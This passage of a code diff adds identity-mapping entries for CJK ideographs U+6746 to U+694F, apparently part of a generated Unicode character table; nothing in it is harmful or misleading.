+ ["\u6746", "\u6746"], /* CJK Ideograph */
+ ["\u6747", "\u6747"], /* CJK Ideograph */
+ ["\u6748", "\u6748"], /* CJK Ideograph */
+ ["\u6749", "\u6749"], /* CJK Ideograph */
+ ["\u674A", "\u674A"], /* CJK Ideograph */
+ ["\u674B", "\u674B"], /* CJK Ideograph */
+ ["\u674C", "\u674C"], /* CJK Ideograph */
+ ["\u674D", "\u674D"], /* CJK Ideograph */
+ ["\u674E", "\u674E"], /* CJK Ideograph */
+ ["\u674F", "\u674F"], /* CJK Ideograph */
+ ["\u6750", "\u6750"], /* CJK Ideograph */
+ ["\u6751", "\u6751"], /* CJK Ideograph */
+ ["\u6752", "\u6752"], /* CJK Ideograph */
+ ["\u6753", "\u6753"], /* CJK Ideograph */
+ ["\u6754", "\u6754"], /* CJK Ideograph */
+ ["\u6755", "\u6755"], /* CJK Ideograph */
+ ["\u6756", "\u6756"], /* CJK Ideograph */
+ ["\u6757", "\u6757"], /* CJK Ideograph */
+ ["\u6758", "\u6758"], /* CJK Ideograph */
+ ["\u6759", "\u6759"], /* CJK Ideograph */
+ ["\u675A", "\u675A"], /* CJK Ideograph */
+ ["\u675B", "\u675B"], /* CJK Ideograph */
+ ["\u675C", "\u675C"], /* CJK Ideograph */
+ ["\u675D", "\u675D"], /* CJK Ideograph */
+ ["\u675E", "\u675E"], /* CJK Ideograph */
+ ["\u675F", "\u675F"], /* CJK Ideograph */
+ ["\u6760", "\u6760"], /* CJK Ideograph */
+ ["\u6761", "\u6761"], /* CJK Ideograph */
+ ["\u6762", "\u6762"], /* CJK Ideograph */
+ ["\u6763", "\u6763"], /* CJK Ideograph */
+ ["\u6764", "\u6764"], /* CJK Ideograph */
+ ["\u6765", "\u6765"], /* CJK Ideograph */
+ ["\u6766", "\u6766"], /* CJK Ideograph */
+ ["\u6767", "\u6767"], /* CJK Ideograph */
+ ["\u6768", "\u6768"], /* CJK Ideograph */
+ ["\u6769", "\u6769"], /* CJK Ideograph */
+ ["\u676A", "\u676A"], /* CJK Ideograph */
+ ["\u676B", "\u676B"], /* CJK Ideograph */
+ ["\u676C", "\u676C"], /* CJK Ideograph */
+ ["\u676D", "\u676D"], /* CJK Ideograph */
+ ["\u676E", "\u676E"], /* CJK Ideograph */
+ ["\u676F", "\u676F"], /* CJK Ideograph */
+ ["\u6770", "\u6770"], /* CJK Ideograph */
+ ["\u6771", "\u6771"], /* CJK Ideograph */
+ ["\u6772", "\u6772"], /* CJK Ideograph */
+ ["\u6773", "\u6773"], /* CJK Ideograph */
+ ["\u6774", "\u6774"], /* CJK Ideograph */
+ ["\u6775", "\u6775"], /* CJK Ideograph */
+ ["\u6776", "\u6776"], /* CJK Ideograph */
+ ["\u6777", "\u6777"], /* CJK Ideograph */
+ ["\u6778", "\u6778"], /* CJK Ideograph */
+ ["\u6779", "\u6779"], /* CJK Ideograph */
+ ["\u677A", "\u677A"], /* CJK Ideograph */
+ ["\u677B", "\u677B"], /* CJK Ideograph */
+ ["\u677C", "\u677C"], /* CJK Ideograph */
+ ["\u677D", "\u677D"], /* CJK Ideograph */
+ ["\u677E", "\u677E"], /* CJK Ideograph */
+ ["\u677F", "\u677F"], /* CJK Ideograph */
+ ["\u6780", "\u6780"], /* CJK Ideograph */
+ ["\u6781", "\u6781"], /* CJK Ideograph */
+ ["\u6782", "\u6782"], /* CJK Ideograph */
+ ["\u6783", "\u6783"], /* CJK Ideograph */
+ ["\u6784", "\u6784"], /* CJK Ideograph */
+ ["\u6785", "\u6785"], /* CJK Ideograph */
+ ["\u6786", "\u6786"], /* CJK Ideograph */
+ ["\u6787", "\u6787"], /* CJK Ideograph */
+ ["\u6788", "\u6788"], /* CJK Ideograph */
+ ["\u6789", "\u6789"], /* CJK Ideograph */
+ ["\u678A", "\u678A"], /* CJK Ideograph */
+ ["\u678B", "\u678B"], /* CJK Ideograph */
+ ["\u678C", "\u678C"], /* CJK Ideograph */
+ ["\u678D", "\u678D"], /* CJK Ideograph */
+ ["\u678E", "\u678E"], /* CJK Ideograph */
+ ["\u678F", "\u678F"], /* CJK Ideograph */
+ ["\u6790", "\u6790"], /* CJK Ideograph */
+ ["\u6791", "\u6791"], /* CJK Ideograph */
+ ["\u6792", "\u6792"], /* CJK Ideograph */
+ ["\u6793", "\u6793"], /* CJK Ideograph */
+ ["\u6794", "\u6794"], /* CJK Ideograph */
+ ["\u6795", "\u6795"], /* CJK Ideograph */
+ ["\u6796", "\u6796"], /* CJK Ideograph */
+ ["\u6797", "\u6797"], /* CJK Ideograph */
+ ["\u6798", "\u6798"], /* CJK Ideograph */
+ ["\u6799", "\u6799"], /* CJK Ideograph */
+ ["\u679A", "\u679A"], /* CJK Ideograph */
+ ["\u679B", "\u679B"], /* CJK Ideograph */
+ ["\u679C", "\u679C"], /* CJK Ideograph */
+ ["\u679D", "\u679D"], /* CJK Ideograph */
+ ["\u679E", "\u679E"], /* CJK Ideograph */
+ ["\u679F", "\u679F"], /* CJK Ideograph */
+ ["\u67A0", "\u67A0"], /* CJK Ideograph */
+ ["\u67A1", "\u67A1"], /* CJK Ideograph */
+ ["\u67A2", "\u67A2"], /* CJK Ideograph */
+ ["\u67A3", "\u67A3"], /* CJK Ideograph */
+ ["\u67A4", "\u67A4"], /* CJK Ideograph */
+ ["\u67A5", "\u67A5"], /* CJK Ideograph */
+ ["\u67A6", "\u67A6"], /* CJK Ideograph */
+ ["\u67A7", "\u67A7"], /* CJK Ideograph */
+ ["\u67A8", "\u67A8"], /* CJK Ideograph */
+ ["\u67A9", "\u67A9"], /* CJK Ideograph */
+ ["\u67AA", "\u67AA"], /* CJK Ideograph */
+ ["\u67AB", "\u67AB"], /* CJK Ideograph */
+ ["\u67AC", "\u67AC"], /* CJK Ideograph */
+ ["\u67AD", "\u67AD"], /* CJK Ideograph */
+ ["\u67AE", "\u67AE"], /* CJK Ideograph */
+ ["\u67AF", "\u67AF"], /* CJK Ideograph */
+ ["\u67B0", "\u67B0"], /* CJK Ideograph */
+ ["\u67B1", "\u67B1"], /* CJK Ideograph */
+ ["\u67B2", "\u67B2"], /* CJK Ideograph */
+ ["\u67B3", "\u67B3"], /* CJK Ideograph */
+ ["\u67B4", "\u67B4"], /* CJK Ideograph */
+ ["\u67B5", "\u67B5"], /* CJK Ideograph */
+ ["\u67B6", "\u67B6"], /* CJK Ideograph */
+ ["\u67B7", "\u67B7"], /* CJK Ideograph */
+ ["\u67B8", "\u67B8"], /* CJK Ideograph */
+ ["\u67B9", "\u67B9"], /* CJK Ideograph */
+ ["\u67BA", "\u67BA"], /* CJK Ideograph */
+ ["\u67BB", "\u67BB"], /* CJK Ideograph */
+ ["\u67BC", "\u67BC"], /* CJK Ideograph */
+ ["\u67BD", "\u67BD"], /* CJK Ideograph */
+ ["\u67BE", "\u67BE"], /* CJK Ideograph */
+ ["\u67BF", "\u67BF"], /* CJK Ideograph */
+ ["\u67C0", "\u67C0"], /* CJK Ideograph */
+ ["\u67C1", "\u67C1"], /* CJK Ideograph */
+ ["\u67C2", "\u67C2"], /* CJK Ideograph */
+ ["\u67C3", "\u67C3"], /* CJK Ideograph */
+ ["\u67C4", "\u67C4"], /* CJK Ideograph */
+ ["\u67C5", "\u67C5"], /* CJK Ideograph */
+ ["\u67C6", "\u67C6"], /* CJK Ideograph */
+ ["\u67C7", "\u67C7"], /* CJK Ideograph */
+ ["\u67C8", "\u67C8"], /* CJK Ideograph */
+ ["\u67C9", "\u67C9"], /* CJK Ideograph */
+ ["\u67CA", "\u67CA"], /* CJK Ideograph */
+ ["\u67CB", "\u67CB"], /* CJK Ideograph */
+ ["\u67CC", "\u67CC"], /* CJK Ideograph */
+ ["\u67CD", "\u67CD"], /* CJK Ideograph */
+ ["\u67CE", "\u67CE"], /* CJK Ideograph */
+ ["\u67CF", "\u67CF"], /* CJK Ideograph */
+ ["\u67D0", "\u67D0"], /* CJK Ideograph */
+ ["\u67D1", "\u67D1"], /* CJK Ideograph */
+ ["\u67D2", "\u67D2"], /* CJK Ideograph */
+ ["\u67D3", "\u67D3"], /* CJK Ideograph */
+ ["\u67D4", "\u67D4"], /* CJK Ideograph */
+ ["\u67D5", "\u67D5"], /* CJK Ideograph */
+ ["\u67D6", "\u67D6"], /* CJK Ideograph */
+ ["\u67D7", "\u67D7"], /* CJK Ideograph */
+ ["\u67D8", "\u67D8"], /* CJK Ideograph */
+ ["\u67D9", "\u67D9"], /* CJK Ideograph */
+ ["\u67DA", "\u67DA"], /* CJK Ideograph */
+ ["\u67DB", "\u67DB"], /* CJK Ideograph */
+ ["\u67DC", "\u67DC"], /* CJK Ideograph */
+ ["\u67DD", "\u67DD"], /* CJK Ideograph */
+ ["\u67DE", "\u67DE"], /* CJK Ideograph */
+ ["\u67DF", "\u67DF"], /* CJK Ideograph */
+ ["\u67E0", "\u67E0"], /* CJK Ideograph */
+ ["\u67E1", "\u67E1"], /* CJK Ideograph */
+ ["\u67E2", "\u67E2"], /* CJK Ideograph */
+ ["\u67E3", "\u67E3"], /* CJK Ideograph */
+ ["\u67E4", "\u67E4"], /* CJK Ideograph */
+ ["\u67E5", "\u67E5"], /* CJK Ideograph */
+ ["\u67E6", "\u67E6"], /* CJK Ideograph */
+ ["\u67E7", "\u67E7"], /* CJK Ideograph */
+ ["\u67E8", "\u67E8"], /* CJK Ideograph */
+ ["\u67E9", "\u67E9"], /* CJK Ideograph */
+ ["\u67EA", "\u67EA"], /* CJK Ideograph */
+ ["\u67EB", "\u67EB"], /* CJK Ideograph */
+ ["\u67EC", "\u67EC"], /* CJK Ideograph */
+ ["\u67ED", "\u67ED"], /* CJK Ideograph */
+ ["\u67EE", "\u67EE"], /* CJK Ideograph */
+ ["\u67EF", "\u67EF"], /* CJK Ideograph */
+ ["\u67F0", "\u67F0"], /* CJK Ideograph */
+ ["\u67F1", "\u67F1"], /* CJK Ideograph */
+ ["\u67F2", "\u67F2"], /* CJK Ideograph */
+ ["\u67F3", "\u67F3"], /* CJK Ideograph */
+ ["\u67F4", "\u67F4"], /* CJK Ideograph */
+ ["\u67F5", "\u67F5"], /* CJK Ideograph */
+ ["\u67F6", "\u67F6"], /* CJK Ideograph */
+ ["\u67F7", "\u67F7"], /* CJK Ideograph */
+ ["\u67F8", "\u67F8"], /* CJK Ideograph */
+ ["\u67F9", "\u67F9"], /* CJK Ideograph */
+ ["\u67FA", "\u67FA"], /* CJK Ideograph */
+ ["\u67FB", "\u67FB"], /* CJK Ideograph */
+ ["\u67FC", "\u67FC"], /* CJK Ideograph */
+ ["\u67FD", "\u67FD"], /* CJK Ideograph */
+ ["\u67FE", "\u67FE"], /* CJK Ideograph */
+ ["\u67FF", "\u67FF"], /* CJK Ideograph */
+ ["\u6800", "\u6800"], /* CJK Ideograph */
+ ["\u6801", "\u6801"], /* CJK Ideograph */
+ ["\u6802", "\u6802"], /* CJK Ideograph */
+ ["\u6803", "\u6803"], /* CJK Ideograph */
+ ["\u6804", "\u6804"], /* CJK Ideograph */
+ ["\u6805", "\u6805"], /* CJK Ideograph */
+ ["\u6806", "\u6806"], /* CJK Ideograph */
+ ["\u6807", "\u6807"], /* CJK Ideograph */
+ ["\u6808", "\u6808"], /* CJK Ideograph */
+ ["\u6809", "\u6809"], /* CJK Ideograph */
+ ["\u680A", "\u680A"], /* CJK Ideograph */
+ ["\u680B", "\u680B"], /* CJK Ideograph */
+ ["\u680C", "\u680C"], /* CJK Ideograph */
+ ["\u680D", "\u680D"], /* CJK Ideograph */
+ ["\u680E", "\u680E"], /* CJK Ideograph */
+ ["\u680F", "\u680F"], /* CJK Ideograph */
+ ["\u6810", "\u6810"], /* CJK Ideograph */
+ ["\u6811", "\u6811"], /* CJK Ideograph */
+ ["\u6812", "\u6812"], /* CJK Ideograph */
+ ["\u6813", "\u6813"], /* CJK Ideograph */
+ ["\u6814", "\u6814"], /* CJK Ideograph */
+ ["\u6815", "\u6815"], /* CJK Ideograph */
+ ["\u6816", "\u6816"], /* CJK Ideograph */
+ ["\u6817", "\u6817"], /* CJK Ideograph */
+ ["\u6818", "\u6818"], /* CJK Ideograph */
+ ["\u6819", "\u6819"], /* CJK Ideograph */
+ ["\u681A", "\u681A"], /* CJK Ideograph */
+ ["\u681B", "\u681B"], /* CJK Ideograph */
+ ["\u681C", "\u681C"], /* CJK Ideograph */
+ ["\u681D", "\u681D"], /* CJK Ideograph */
+ ["\u681E", "\u681E"], /* CJK Ideograph */
+ ["\u681F", "\u681F"], /* CJK Ideograph */
+ ["\u6820", "\u6820"], /* CJK Ideograph */
+ ["\u6821", "\u6821"], /* CJK Ideograph */
+ ["\u6822", "\u6822"], /* CJK Ideograph */
+ ["\u6823", "\u6823"], /* CJK Ideograph */
+ ["\u6824", "\u6824"], /* CJK Ideograph */
+ ["\u6825", "\u6825"], /* CJK Ideograph */
+ ["\u6826", "\u6826"], /* CJK Ideograph */
+ ["\u6827", "\u6827"], /* CJK Ideograph */
+ ["\u6828", "\u6828"], /* CJK Ideograph */
+ ["\u6829", "\u6829"], /* CJK Ideograph */
+ ["\u682A", "\u682A"], /* CJK Ideograph */
+ ["\u682B", "\u682B"], /* CJK Ideograph */
+ ["\u682C", "\u682C"], /* CJK Ideograph */
+ ["\u682D", "\u682D"], /* CJK Ideograph */
+ ["\u682E", "\u682E"], /* CJK Ideograph */
+ ["\u682F", "\u682F"], /* CJK Ideograph */
+ ["\u6830", "\u6830"], /* CJK Ideograph */
+ ["\u6831", "\u6831"], /* CJK Ideograph */
+ ["\u6832", "\u6832"], /* CJK Ideograph */
+ ["\u6833", "\u6833"], /* CJK Ideograph */
+ ["\u6834", "\u6834"], /* CJK Ideograph */
+ ["\u6835", "\u6835"], /* CJK Ideograph */
+ ["\u6836", "\u6836"], /* CJK Ideograph */
+ ["\u6837", "\u6837"], /* CJK Ideograph */
+ ["\u6838", "\u6838"], /* CJK Ideograph */
+ ["\u6839", "\u6839"], /* CJK Ideograph */
+ ["\u683A", "\u683A"], /* CJK Ideograph */
+ ["\u683B", "\u683B"], /* CJK Ideograph */
+ ["\u683C", "\u683C"], /* CJK Ideograph */
+ ["\u683D", "\u683D"], /* CJK Ideograph */
+ ["\u683E", "\u683E"], /* CJK Ideograph */
+ ["\u683F", "\u683F"], /* CJK Ideograph */
+ ["\u6840", "\u6840"], /* CJK Ideograph */
+ ["\u6841", "\u6841"], /* CJK Ideograph */
+ ["\u6842", "\u6842"], /* CJK Ideograph */
+ ["\u6843", "\u6843"], /* CJK Ideograph */
+ ["\u6844", "\u6844"], /* CJK Ideograph */
+ ["\u6845", "\u6845"], /* CJK Ideograph */
+ ["\u6846", "\u6846"], /* CJK Ideograph */
+ ["\u6847", "\u6847"], /* CJK Ideograph */
+ ["\u6848", "\u6848"], /* CJK Ideograph */
+ ["\u6849", "\u6849"], /* CJK Ideograph */
+ ["\u684A", "\u684A"], /* CJK Ideograph */
+ ["\u684B", "\u684B"], /* CJK Ideograph */
+ ["\u684C", "\u684C"], /* CJK Ideograph */
+ ["\u684D", "\u684D"], /* CJK Ideograph */
+ ["\u684E", "\u684E"], /* CJK Ideograph */
+ ["\u684F", "\u684F"], /* CJK Ideograph */
+ ["\u6850", "\u6850"], /* CJK Ideograph */
+ ["\u6851", "\u6851"], /* CJK Ideograph */
+ ["\u6852", "\u6852"], /* CJK Ideograph */
+ ["\u6853", "\u6853"], /* CJK Ideograph */
+ ["\u6854", "\u6854"], /* CJK Ideograph */
+ ["\u6855", "\u6855"], /* CJK Ideograph */
+ ["\u6856", "\u6856"], /* CJK Ideograph */
+ ["\u6857", "\u6857"], /* CJK Ideograph */
+ ["\u6858", "\u6858"], /* CJK Ideograph */
+ ["\u6859", "\u6859"], /* CJK Ideograph */
+ ["\u685A", "\u685A"], /* CJK Ideograph */
+ ["\u685B", "\u685B"], /* CJK Ideograph */
+ ["\u685C", "\u685C"], /* CJK Ideograph */
+ ["\u685D", "\u685D"], /* CJK Ideograph */
+ ["\u685E", "\u685E"], /* CJK Ideograph */
+ ["\u685F", "\u685F"], /* CJK Ideograph */
+ ["\u6860", "\u6860"], /* CJK Ideograph */
+ ["\u6861", "\u6861"], /* CJK Ideograph */
+ ["\u6862", "\u6862"], /* CJK Ideograph */
+ ["\u6863", "\u6863"], /* CJK Ideograph */
+ ["\u6864", "\u6864"], /* CJK Ideograph */
+ ["\u6865", "\u6865"], /* CJK Ideograph */
+ ["\u6866", "\u6866"], /* CJK Ideograph */
+ ["\u6867", "\u6867"], /* CJK Ideograph */
+ ["\u6868", "\u6868"], /* CJK Ideograph */
+ ["\u6869", "\u6869"], /* CJK Ideograph */
+ ["\u686A", "\u686A"], /* CJK Ideograph */
+ ["\u686B", "\u686B"], /* CJK Ideograph */
+ ["\u686C", "\u686C"], /* CJK Ideograph */
+ ["\u686D", "\u686D"], /* CJK Ideograph */
+ ["\u686E", "\u686E"], /* CJK Ideograph */
+ ["\u686F", "\u686F"], /* CJK Ideograph */
+ ["\u6870", "\u6870"], /* CJK Ideograph */
+ ["\u6871", "\u6871"], /* CJK Ideograph */
+ ["\u6872", "\u6872"], /* CJK Ideograph */
+ ["\u6873", "\u6873"], /* CJK Ideograph */
+ ["\u6874", "\u6874"], /* CJK Ideograph */
+ ["\u6875", "\u6875"], /* CJK Ideograph */
+ ["\u6876", "\u6876"], /* CJK Ideograph */
+ ["\u6877", "\u6877"], /* CJK Ideograph */
+ ["\u6878", "\u6878"], /* CJK Ideograph */
+ ["\u6879", "\u6879"], /* CJK Ideograph */
+ ["\u687A", "\u687A"], /* CJK Ideograph */
+ ["\u687B", "\u687B"], /* CJK Ideograph */
+ ["\u687C", "\u687C"], /* CJK Ideograph */
+ ["\u687D", "\u687D"], /* CJK Ideograph */
+ ["\u687E", "\u687E"], /* CJK Ideograph */
+ ["\u687F", "\u687F"], /* CJK Ideograph */
+ ["\u6880", "\u6880"], /* CJK Ideograph */
+ ["\u6881", "\u6881"], /* CJK Ideograph */
+ ["\u6882", "\u6882"], /* CJK Ideograph */
+ ["\u6883", "\u6883"], /* CJK Ideograph */
+ ["\u6884", "\u6884"], /* CJK Ideograph */
+ ["\u6885", "\u6885"], /* CJK Ideograph */
+ ["\u6886", "\u6886"], /* CJK Ideograph */
+ ["\u6887", "\u6887"], /* CJK Ideograph */
+ ["\u6888", "\u6888"], /* CJK Ideograph */
+ ["\u6889", "\u6889"], /* CJK Ideograph */
+ ["\u688A", "\u688A"], /* CJK Ideograph */
+ ["\u688B", "\u688B"], /* CJK Ideograph */
+ ["\u688C", "\u688C"], /* CJK Ideograph */
+ ["\u688D", "\u688D"], /* CJK Ideograph */
+ ["\u688E", "\u688E"], /* CJK Ideograph */
+ ["\u688F", "\u688F"], /* CJK Ideograph */
+ ["\u6890", "\u6890"], /* CJK Ideograph */
+ ["\u6891", "\u6891"], /* CJK Ideograph */
+ ["\u6892", "\u6892"], /* CJK Ideograph */
+ ["\u6893", "\u6893"], /* CJK Ideograph */
+ ["\u6894", "\u6894"], /* CJK Ideograph */
+ ["\u6895", "\u6895"], /* CJK Ideograph */
+ ["\u6896", "\u6896"], /* CJK Ideograph */
+ ["\u6897", "\u6897"], /* CJK Ideograph */
+ ["\u6898", "\u6898"], /* CJK Ideograph */
+ ["\u6899", "\u6899"], /* CJK Ideograph */
+ ["\u689A", "\u689A"], /* CJK Ideograph */
+ ["\u689B", "\u689B"], /* CJK Ideograph */
+ ["\u689C", "\u689C"], /* CJK Ideograph */
+ ["\u689D", "\u689D"], /* CJK Ideograph */
+ ["\u689E", "\u689E"], /* CJK Ideograph */
+ ["\u689F", "\u689F"], /* CJK Ideograph */
+ ["\u68A0", "\u68A0"], /* CJK Ideograph */
+ ["\u68A1", "\u68A1"], /* CJK Ideograph */
+ ["\u68A2", "\u68A2"], /* CJK Ideograph */
+ ["\u68A3", "\u68A3"], /* CJK Ideograph */
+ ["\u68A4", "\u68A4"], /* CJK Ideograph */
+ ["\u68A5", "\u68A5"], /* CJK Ideograph */
+ ["\u68A6", "\u68A6"], /* CJK Ideograph */
+ ["\u68A7", "\u68A7"], /* CJK Ideograph */
+ ["\u68A8", "\u68A8"], /* CJK Ideograph */
+ ["\u68A9", "\u68A9"], /* CJK Ideograph */
+ ["\u68AA", "\u68AA"], /* CJK Ideograph */
+ ["\u68AB", "\u68AB"], /* CJK Ideograph */
+ ["\u68AC", "\u68AC"], /* CJK Ideograph */
+ ["\u68AD", "\u68AD"], /* CJK Ideograph */
+ ["\u68AE", "\u68AE"], /* CJK Ideograph */
+ ["\u68AF", "\u68AF"], /* CJK Ideograph */
+ ["\u68B0", "\u68B0"], /* CJK Ideograph */
+ ["\u68B1", "\u68B1"], /* CJK Ideograph */
+ ["\u68B2", "\u68B2"], /* CJK Ideograph */
+ ["\u68B3", "\u68B3"], /* CJK Ideograph */
+ ["\u68B4", "\u68B4"], /* CJK Ideograph */
+ ["\u68B5", "\u68B5"], /* CJK Ideograph */
+ ["\u68B6", "\u68B6"], /* CJK Ideograph */
+ ["\u68B7", "\u68B7"], /* CJK Ideograph */
+ ["\u68B8", "\u68B8"], /* CJK Ideograph */
+ ["\u68B9", "\u68B9"], /* CJK Ideograph */
+ ["\u68BA", "\u68BA"], /* CJK Ideograph */
+ ["\u68BB", "\u68BB"], /* CJK Ideograph */
+ ["\u68BC", "\u68BC"], /* CJK Ideograph */
+ ["\u68BD", "\u68BD"], /* CJK Ideograph */
+ ["\u68BE", "\u68BE"], /* CJK Ideograph */
+ ["\u68BF", "\u68BF"], /* CJK Ideograph */
+ ["\u68C0", "\u68C0"], /* CJK Ideograph */
+ ["\u68C1", "\u68C1"], /* CJK Ideograph */
+ ["\u68C2", "\u68C2"], /* CJK Ideograph */
+ ["\u68C3", "\u68C3"], /* CJK Ideograph */
+ ["\u68C4", "\u68C4"], /* CJK Ideograph */
+ ["\u68C5", "\u68C5"], /* CJK Ideograph */
+ ["\u68C6", "\u68C6"], /* CJK Ideograph */
+ ["\u68C7", "\u68C7"], /* CJK Ideograph */
+ ["\u68C8", "\u68C8"], /* CJK Ideograph */
+ ["\u68C9", "\u68C9"], /* CJK Ideograph */
+ ["\u68CA", "\u68CA"], /* CJK Ideograph */
+ ["\u68CB", "\u68CB"], /* CJK Ideograph */
+ ["\u68CC", "\u68CC"], /* CJK Ideograph */
+ ["\u68CD", "\u68CD"], /* CJK Ideograph */
+ ["\u68CE", "\u68CE"], /* CJK Ideograph */
+ ["\u68CF", "\u68CF"], /* CJK Ideograph */
+ ["\u68D0", "\u68D0"], /* CJK Ideograph */
+ ["\u68D1", "\u68D1"], /* CJK Ideograph */
+ ["\u68D2", "\u68D2"], /* CJK Ideograph */
+ ["\u68D3", "\u68D3"], /* CJK Ideograph */
+ ["\u68D4", "\u68D4"], /* CJK Ideograph */
+ ["\u68D5", "\u68D5"], /* CJK Ideograph */
+ ["\u68D6", "\u68D6"], /* CJK Ideograph */
+ ["\u68D7", "\u68D7"], /* CJK Ideograph */
+ ["\u68D8", "\u68D8"], /* CJK Ideograph */
+ ["\u68D9", "\u68D9"], /* CJK Ideograph */
+ ["\u68DA", "\u68DA"], /* CJK Ideograph */
+ ["\u68DB", "\u68DB"], /* CJK Ideograph */
+ ["\u68DC", "\u68DC"], /* CJK Ideograph */
+ ["\u68DD", "\u68DD"], /* CJK Ideograph */
+ ["\u68DE", "\u68DE"], /* CJK Ideograph */
+ ["\u68DF", "\u68DF"], /* CJK Ideograph */
+ ["\u68E0", "\u68E0"], /* CJK Ideograph */
+ ["\u68E1", "\u68E1"], /* CJK Ideograph */
+ ["\u68E2", "\u68E2"], /* CJK Ideograph */
+ ["\u68E3", "\u68E3"], /* CJK Ideograph */
+ ["\u68E4", "\u68E4"], /* CJK Ideograph */
+ ["\u68E5", "\u68E5"], /* CJK Ideograph */
+ ["\u68E6", "\u68E6"], /* CJK Ideograph */
+ ["\u68E7", "\u68E7"], /* CJK Ideograph */
+ ["\u68E8", "\u68E8"], /* CJK Ideograph */
+ ["\u68E9", "\u68E9"], /* CJK Ideograph */
+ ["\u68EA", "\u68EA"], /* CJK Ideograph */
+ ["\u68EB", "\u68EB"], /* CJK Ideograph */
+ ["\u68EC", "\u68EC"], /* CJK Ideograph */
+ ["\u68ED", "\u68ED"], /* CJK Ideograph */
+ ["\u68EE", "\u68EE"], /* CJK Ideograph */
+ ["\u68EF", "\u68EF"], /* CJK Ideograph */
+ ["\u68F0", "\u68F0"], /* CJK Ideograph */
+ ["\u68F1", "\u68F1"], /* CJK Ideograph */
+ ["\u68F2", "\u68F2"], /* CJK Ideograph */
+ ["\u68F3", "\u68F3"], /* CJK Ideograph */
+ ["\u68F4", "\u68F4"], /* CJK Ideograph */
+ ["\u68F5", "\u68F5"], /* CJK Ideograph */
+ ["\u68F6", "\u68F6"], /* CJK Ideograph */
+ ["\u68F7", "\u68F7"], /* CJK Ideograph */
+ ["\u68F8", "\u68F8"], /* CJK Ideograph */
+ ["\u68F9", "\u68F9"], /* CJK Ideograph */
+ ["\u68FA", "\u68FA"], /* CJK Ideograph */
+ ["\u68FB", "\u68FB"], /* CJK Ideograph */
+ ["\u68FC", "\u68FC"], /* CJK Ideograph */
+ ["\u68FD", "\u68FD"], /* CJK Ideograph */
+ ["\u68FE", "\u68FE"], /* CJK Ideograph */
+ ["\u68FF", "\u68FF"], /* CJK Ideograph */
+ ["\u6900", "\u6900"], /* CJK Ideograph */
+ ["\u6901", "\u6901"], /* CJK Ideograph */
+ ["\u6902", "\u6902"], /* CJK Ideograph */
+ ["\u6903", "\u6903"], /* CJK Ideograph */
+ ["\u6904", "\u6904"], /* CJK Ideograph */
+ ["\u6905", "\u6905"], /* CJK Ideograph */
+ ["\u6906", "\u6906"], /* CJK Ideograph */
+ ["\u6907", "\u6907"], /* CJK Ideograph */
+ ["\u6908", "\u6908"], /* CJK Ideograph */
+ ["\u6909", "\u6909"], /* CJK Ideograph */
+ ["\u690A", "\u690A"], /* CJK Ideograph */
+ ["\u690B", "\u690B"], /* CJK Ideograph */
+ ["\u690C", "\u690C"], /* CJK Ideograph */
+ ["\u690D", "\u690D"], /* CJK Ideograph */
+ ["\u690E", "\u690E"], /* CJK Ideograph */
+ ["\u690F", "\u690F"], /* CJK Ideograph */
+ ["\u6910", "\u6910"], /* CJK Ideograph */
+ ["\u6911", "\u6911"], /* CJK Ideograph */
+ ["\u6912", "\u6912"], /* CJK Ideograph */
+ ["\u6913", "\u6913"], /* CJK Ideograph */
+ ["\u6914", "\u6914"], /* CJK Ideograph */
+ ["\u6915", "\u6915"], /* CJK Ideograph */
+ ["\u6916", "\u6916"], /* CJK Ideograph */
+ ["\u6917", "\u6917"], /* CJK Ideograph */
+ ["\u6918", "\u6918"], /* CJK Ideograph */
+ ["\u6919", "\u6919"], /* CJK Ideograph */
+ ["\u691A", "\u691A"], /* CJK Ideograph */
+ ["\u691B", "\u691B"], /* CJK Ideograph */
+ ["\u691C", "\u691C"], /* CJK Ideograph */
+ ["\u691D", "\u691D"], /* CJK Ideograph */
+ ["\u691E", "\u691E"], /* CJK Ideograph */
+ ["\u691F", "\u691F"], /* CJK Ideograph */
+ ["\u6920", "\u6920"], /* CJK Ideograph */
+ ["\u6921", "\u6921"], /* CJK Ideograph */
+ ["\u6922", "\u6922"], /* CJK Ideograph */
+ ["\u6923", "\u6923"], /* CJK Ideograph */
+ ["\u6924", "\u6924"], /* CJK Ideograph */
+ ["\u6925", "\u6925"], /* CJK Ideograph */
+ ["\u6926", "\u6926"], /* CJK Ideograph */
+ ["\u6927", "\u6927"], /* CJK Ideograph */
+ ["\u6928", "\u6928"], /* CJK Ideograph */
+ ["\u6929", "\u6929"], /* CJK Ideograph */
+ ["\u692A", "\u692A"], /* CJK Ideograph */
+ ["\u692B", "\u692B"], /* CJK Ideograph */
+ ["\u692C", "\u692C"], /* CJK Ideograph */
+ ["\u692D", "\u692D"], /* CJK Ideograph */
+ ["\u692E", "\u692E"], /* CJK Ideograph */
+ ["\u692F", "\u692F"], /* CJK Ideograph */
+ ["\u6930", "\u6930"], /* CJK Ideograph */
+ ["\u6931", "\u6931"], /* CJK Ideograph */
+ ["\u6932", "\u6932"], /* CJK Ideograph */
+ ["\u6933", "\u6933"], /* CJK Ideograph */
+ ["\u6934", "\u6934"], /* CJK Ideograph */
+ ["\u6935", "\u6935"], /* CJK Ideograph */
+ ["\u6936", "\u6936"], /* CJK Ideograph */
+ ["\u6937", "\u6937"], /* CJK Ideograph */
+ ["\u6938", "\u6938"], /* CJK Ideograph */
+ ["\u6939", "\u6939"], /* CJK Ideograph */
+ ["\u693A", "\u693A"], /* CJK Ideograph */
+ ["\u693B", "\u693B"], /* CJK Ideograph */
+ ["\u693C", "\u693C"], /* CJK Ideograph */
+ ["\u693D", "\u693D"], /* CJK Ideograph */
+ ["\u693E", "\u693E"], /* CJK Ideograph */
+ ["\u693F", "\u693F"], /* CJK Ideograph */
+ ["\u6940", "\u6940"], /* CJK Ideograph */
+ ["\u6941", "\u6941"], /* CJK Ideograph */
+ ["\u6942", "\u6942"], /* CJK Ideograph */
+ ["\u6943", "\u6943"], /* CJK Ideograph */
+ ["\u6944", "\u6944"], /* CJK Ideograph */
+ ["\u6945", "\u6945"], /* CJK Ideograph */
+ ["\u6946", "\u6946"], /* CJK Ideograph */
+ ["\u6947", "\u6947"], /* CJK Ideograph */
+ ["\u6948", "\u6948"], /* CJK Ideograph */
+ ["\u6949", "\u6949"], /* CJK Ideograph */
+ ["\u694A", "\u694A"], /* CJK Ideograph */
+ ["\u694B", "\u694B"], /* CJK Ideograph */
+ ["\u694C", "\u694C"], /* CJK Ideograph */
+ ["\u694D", "\u694D"], /* CJK Ideograph */
+ ["\u694E", "\u694E"], /* CJK Ideograph */
+ ["\u694F", "\u694F"], /* CJK Ideograph */
